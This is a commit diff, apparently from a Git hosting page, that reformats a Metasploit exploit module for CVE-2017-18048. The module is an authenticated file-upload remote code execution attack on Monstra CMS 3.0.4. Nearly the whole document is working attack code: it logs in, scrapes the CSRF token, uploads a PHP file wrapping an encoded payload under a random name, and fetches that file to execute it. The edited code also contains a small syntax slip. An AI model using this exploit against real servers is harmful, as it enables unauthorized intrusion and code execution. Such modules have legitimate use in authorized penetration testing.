fix warning, and version
fix warning, and version and indentationGSoC/Meterpreter_Web_Console
Touhid M Shaikh
GitHub
parent
70eb943b5a
commit
4a835b2493
|
|
@ -4,34 +4,33 @@
|
|||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution',
|
||||
'Description' => %q{
|
||||
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server,
|
||||
an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
|
||||
|
||||
This module was tested against MonstraCMS 3.0.4.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution',
|
||||
'Description' => %q{
|
||||
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to a remote command execution on the remote server,
|
||||
an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
|
||||
This module was tested against MonstraCMS 3.0.4.
|
||||
},
|
||||
|
||||
'Author' =>
|
||||
[
|
||||
'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
|
||||
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
|
||||
|
||||
'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
|
||||
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE','2017-18048'],
|
||||
['EDB','43348'],
|
||||
['URL','https://blogs.securiteam.com/index.php/archives/3559'],
|
||||
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
|
||||
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
|
||||
['CVE','2017-18048'],
|
||||
['EDB','43348'],
|
||||
['URL','https://blogs.securiteam.com/index.php/archives/3559'],
|
||||
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
|
||||
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
@ -55,11 +54,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
res = nil
|
||||
begin
|
||||
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
|
||||
rescue
|
||||
|
|
@ -72,113 +69,111 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body =~ /<\/a> – Version (.*.4)/i
|
||||
vprint_status("Monstra CMS: " + $1)
|
||||
if res.body =~ /<\/a> - Version (\d+\.\d+\.\d+)/i
|
||||
version = Gem::Version.new($1)
|
||||
vprint_status("Monstra CMS: #{version}")
|
||||
|
||||
if $1 == '3.0.4'
|
||||
if version == '3.0.4'
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
return CheckCode::Detected
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def uri
|
||||
return target_uri.path
|
||||
def uri
|
||||
return target_uri.path
|
||||
end
|
||||
|
||||
def login
|
||||
res = nil
|
||||
vprint_status('Trying to Login ......')
|
||||
# Send Creds with cookies.
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'admin', 'index.php'),
|
||||
'vars_post' => {
|
||||
'login' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'login_submit' => 'Log+In',
|
||||
},
|
||||
})
|
||||
cookies = res.get_cookies
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
|
||||
|
||||
# Try to access index page with authenticated cookie.
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'admin' '/index.php'),
|
||||
'cookie' => cookies,
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
|
||||
|
||||
# if we redirect to core_welcome dan we assume we have authenticated cookie.
|
||||
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
|
||||
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
|
||||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||
return cookies
|
||||
else
|
||||
fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||
end
|
||||
end
|
||||
|
||||
def login
|
||||
res = nil
|
||||
vprint_status('Trying to Login ......')
|
||||
# Send Creds with cookies.
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'admin', 'index.php'),
|
||||
'vars_post' => {
|
||||
'login' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'login_submit' => 'Log+In',
|
||||
},
|
||||
})
|
||||
cookies = res.get_cookies
|
||||
def exploit
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
|
||||
#Login Function Execute and Return Cookies
|
||||
cookies = login
|
||||
|
||||
# Try to access index page with authenticated cookie.
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'admin' '/index.php'),
|
||||
'cookie' => cookies,
|
||||
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
|
||||
|
||||
# if we redirect to core_welcome dan we assume we have authenticated cookie.
|
||||
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
|
||||
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
|
||||
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
|
||||
return cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
|
||||
end
|
||||
end
|
||||
#Random payload name.
|
||||
pay_name = rand_text_alpha(rand(5..10)) + ".PHP"
|
||||
|
||||
|
||||
def exploit
|
||||
# Payload Gen.
|
||||
evilbyte = "<?php #{payload.encode}; ?>"
|
||||
|
||||
#Login Function Execute and Return Cookies
|
||||
cookies = login
|
||||
# Request for CSRF token for file upload.
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'admin', '/index.php'),
|
||||
'vars_get' => 'id=filesmanager'
|
||||
'method' => 'GET',
|
||||
'cookie' => cookies,
|
||||
})
|
||||
|
||||
#Random payload name.
|
||||
pay_name = rand_text_alpha(rand(5..10)) + ".PHP"
|
||||
# Grabbing CSRF token from body
|
||||
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_good("CSRF-Token for File Upload : #{csrf}")
|
||||
|
||||
# setup POST request.
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
|
||||
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
|
||||
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
|
||||
data = post_data.to_s
|
||||
|
||||
vprint_status('Trying to upload file with malicious Content....')
|
||||
# Lets Send Upload request.
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'Connection' => 'close',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
})
|
||||
|
||||
# Cleanup delete payload after get meterpreter.
|
||||
register_files_for_cleanup(pay_name)
|
||||
|
||||
|
||||
# Payload Gen.
|
||||
evilbyte = "<?php #{payload.encode}; ?>"
|
||||
# Execute our payload simply call to payload.
|
||||
print_status("Executing Payload " )
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
|
||||
})
|
||||
|
||||
# Request for CSRF token for file upload.
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookies,
|
||||
})
|
||||
|
||||
# Grabbing CSRF token from body
|
||||
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_good("CSRF-Token for File Upload : #{csrf}")
|
||||
|
||||
|
||||
|
||||
# setup POST request.
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
|
||||
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
|
||||
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
|
||||
data = post_data.to_s
|
||||
|
||||
vprint_status('Trying to upload file with malicious Content....')
|
||||
# Lets Send Upload request.
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'admin', '/index.php?id=filesmanager'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'Connection' => 'close',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
})
|
||||
|
||||
# Cleanup delete payload after get meterpreter.
|
||||
register_files_for_cleanup(pay_name)
|
||||
|
||||
|
||||
# Execute our payload simply call to payload.
|
||||
print_status("Executing Payload " )
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
|
||||
})
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue